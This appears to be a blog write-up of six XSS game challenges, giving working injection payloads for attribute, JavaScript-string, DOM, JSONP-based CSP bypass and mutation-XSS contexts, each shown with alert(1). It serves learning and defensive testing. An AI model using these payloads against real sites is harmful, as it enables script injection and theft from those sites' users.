2 minute read

This post documents my solutions to various XSS game challenges, analyzing the filter bypass techniques required for each level.

Understanding XSS Filters

Modern web applications deploy multiple layers of XSS defense: server-side input sanitization, Content Security Policy, and sometimes client-side sanitizers like DOMPurify. Each layer has different bypass characteristics.

The XSS game challenges test the attacker’s ability to find gaps in these defenses.

Level 1: Basic Reflection

The simplest case - user input reflected in the page without any sanitization:

<script>alert(1)</script>

This is increasingly rare in modern applications, but still appears in legacy code and custom error pages.

Level 2: Attribute Injection

Input is placed inside an HTML attribute with double-quote escaping:

<input value="USER_INPUT">

If the filter only blocks <script>, we can break out of the attribute:

" onfocus=alert(1) autofocus="

Result: <input value="" onfocus=alert(1) autofocus="">

Level 3: JavaScript Context

Input reflected inside a JavaScript string:

var name = 'USER_INPUT';

Closing the string and injecting code:

';alert(1);//

If single quotes are escaped with backslash, the backslash itself may not be escaped:

\';alert(1);//

The \' becomes \\' (escaped backslash followed by unescaped quote), breaking out of the string.

Level 4: DOM-based XSS

The input is not reflected in the HTTP response but processed client-side:

var hash = location.hash.slice(1);
document.getElementById('output').innerHTML = hash;

Payload in URL fragment: #<img src=x onerror=alert(1)>

DOM-based XSS is invisible to server-side WAFs because the payload never reaches the server.

Level 5: CSP Bypass

Content Security Policy restricts script execution:

Content-Security-Policy: script-src 'self'

If the application hosts a JSONP endpoint:

/api/callback?cb=alert(1)//

We can include it as a script source since it matches the ‘self’ directive:

<script src="/api/callback?cb=alert(1)//"></script>

Level 6: Mutation XSS (mXSS)

The most advanced technique. HTML parsers and sanitizers may produce different DOM trees from the same markup due to parsing algorithm differences.

Consider this input that appears safe to a sanitizer:

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

The sanitizer parses this and sees the <img> inside a <style> element (text content, not executable). But when the browser re-parses the sanitized output, the HTML parser’s foreign content rules cause the <img> to be promoted out of the <style> context, creating an executable element.

This class of bugs is what makes client-side sanitization fundamentally harder than it appears.

Key Takeaways

  1. XSS filter bypass is about understanding parser differentials between the filter and the browser
  2. Context matters more than payload - the same input is dangerous in one context and safe in another
  3. DOM-based XSS bypasses all server-side defenses
  4. CSP is only as strong as its weakest allowed source
  5. Mutation XSS demonstrates that HTML sanitization is a fundamentally hard problem

Tools

  • Browser developer tools (DOM inspector for mXSS analysis)
  • Burp Suite for testing reflection points
  • XSS polyglots for initial detection
  • Custom scripts for automated context analysis

Tags:

Categories:

Updated: